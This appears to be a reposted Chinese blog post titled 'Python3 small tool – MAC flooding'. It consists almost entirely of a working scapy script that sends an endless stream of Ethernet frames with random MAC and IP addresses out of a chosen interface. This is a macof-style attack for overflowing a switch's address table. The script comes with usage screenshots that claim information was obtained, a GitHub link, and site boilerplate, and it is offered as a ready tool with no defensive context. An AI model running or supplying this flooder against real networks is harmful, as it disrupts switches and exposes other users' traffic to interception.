码迷,mamicode.com
首页 > 编程语言 > 详细

Python3 小工具-MAC泛洪

时间:2019-03-13 17:58:50      阅读:307      评论:0      收藏:0      [点我收藏+]

标签:and   macof   alt   获取   interrupt   fun   string   interface   ams   

from scapy.all import *
import optparse

def attack(interface):
    pkt=Ether(src=RandMAC(),dst=RandMAC())/IP(src=RandIP(),dst=RandIP())/ICMP()
    sendp(pkt,iface=interface)

def main():
    parser=optparse.OptionParser("%prog "+"-i interface")
    parser.add_option(‘-i‘,dest=‘interface‘,default=‘eth0‘,type=‘string‘,help=‘Interface‘)
    (options,args)=parser.parse_args()
    interface=options.interface
    try:
        while True:
            attack(interface)
    except KeyboardInterrupt:
        print(‘-------------‘)
        print(‘Finished!‘)
if __name__==‘__main__‘:
    main()

使用说明

技术图片

开始程序

技术图片

成功获取信息

技术图片

github:https://github.com/zmqq/pytools/tree/master/macof

Python3 小工具-MAC泛洪

标签:and   macof   alt   获取   interrupt   fun   string   interface   ams   

原文地址:https://www.cnblogs.com/zmqqq/p/10524780.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!